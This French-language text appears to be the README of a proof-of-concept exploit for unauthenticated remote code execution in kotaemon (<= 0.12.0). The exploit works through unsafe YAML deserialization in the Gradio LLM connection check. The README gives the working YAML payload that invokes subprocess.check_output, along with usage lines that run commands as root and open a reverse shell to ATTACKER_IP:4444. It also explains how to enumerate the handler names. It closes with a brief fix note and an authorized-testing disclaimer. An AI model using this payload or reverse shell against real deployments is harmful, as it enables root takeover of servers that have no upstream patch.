
Exploit d'exécution de code à distance non authentifiée ciblant une désérialisation YAML non sécurisée dans les vérifications de connexion des LLM ; prend en charge l'exécution de commandes arbitraires et des shells inversés via l'API Gradio exposée.
Exécution de code à distance non authentifiée dans kotaemon (<= 0.12.0) via une désérialisation non sécurisée dans la vérification de connexion des paramètres LLM.
Le gestionnaire Gradio check_connection des paramètres LLM de kotaemon (libs/ktem/ktem/llms/ui.py) analyse une spec YAML fournie par l'attaquant et la désérialise de manière non sécurisée :
spec = yaml.load(selected_spec, Loader=YAMLNoDateSafeLoader) # attacker YAML
info["spec"].update(spec)
llm = deserialize(info["spec"], safe=False) # <-- safe=False
theflow.deserialize(..., safe=False) (theflow/utils/modules.py) résout la clé __type__ d'une spec via import_dotted_string sans liste blanche, puis l'instancie avec des kwargs contrôlés par l'attaquant :
if isinstance(value, dict) and "__type__" in value:
cls = import_dotted_string(value["__type__"], safe=False) # imports ANY dotted path
params = {k: deserialize(v, safe=False) for k, v in value.items() if k != "__type__"}
return cls(**params) # instantiates with attacker kwargs
Ainsi, une spec dont __type__ est subprocess.check_output exécute une commande système pendant la désérialisation (CWE-502).
Deux éléments en font une RCE non authentifiée propre :
auth=. La « connexion » ne fait que basculer la visibilité des onglets de l'interface ; chaque gestionnaire d'événements enregistré est appelable publiquement. KH_FEATURE_USER_MANAGEMENT ne protège pas l'API HTTP/file d'attente.info["spec"].update(<attacker yaml>) remplace entièrement la spec LLM, de sorte que le payload ne contacte jamais un véritable fournisseur LLM.L'image Docker officielle de kotaemon s'exécute en root, donc la RCE aboutit en root. Aucun correctif en amont à l'heure actuelle.
La spec YAML livrée :
__type__: unittest.mock.Mock
return_value:
__type__: subprocess.check_output
args: [sh, -c, "<cmd>"]
text: true
deserialize récure d'abord dans return_value → subprocess.check_output(args=["sh","-c","<cmd>"], text=True) exécute la commande. L'encapsuler dans unittest.mock.Mock absorbe les éventuels kwargs restants de la spec de base (model/api_key), de sorte que l'appel externe ne casse jamais, et la sortie standard de la commande est renvoyée dans le message Got response: ... du gestionnaire.
Uniquement la bibliothèque standard (Python 3). L'exploit effectue deux appels Gradio : create_llm (pour créer une entrée LLM nommée afin que llms.info()[name] se résolve) puis check_connection (pour livrer le payload).
# run a command as root; output is returned in the response
python3 exploit.py http://TARGET:7860/ -c id
# -> ... Got response: uid=0(root) gid=0(root) groups=0(root)
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://TARGET:7860/ --shell ATTACKER_IP:4444
Si les noms des gestionnaires create_llm / check_connection diffèrent sur une cible, énumérez-les depuis GET /config (dependencies[].api_name) et ajustez.
kotaemon <= 0.12.0 (port par défaut 7860). Aucun correctif en amont disponible à l'heure actuelle.
deserialize avec safe=True et une liste blanche allowed_modules afin qu'aucun __type__ attaquant n'atteigne import_dotted_string.Uniquement pour des tests de sécurité autorisés et à des fins éducatives. À utiliser uniquement contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de tester.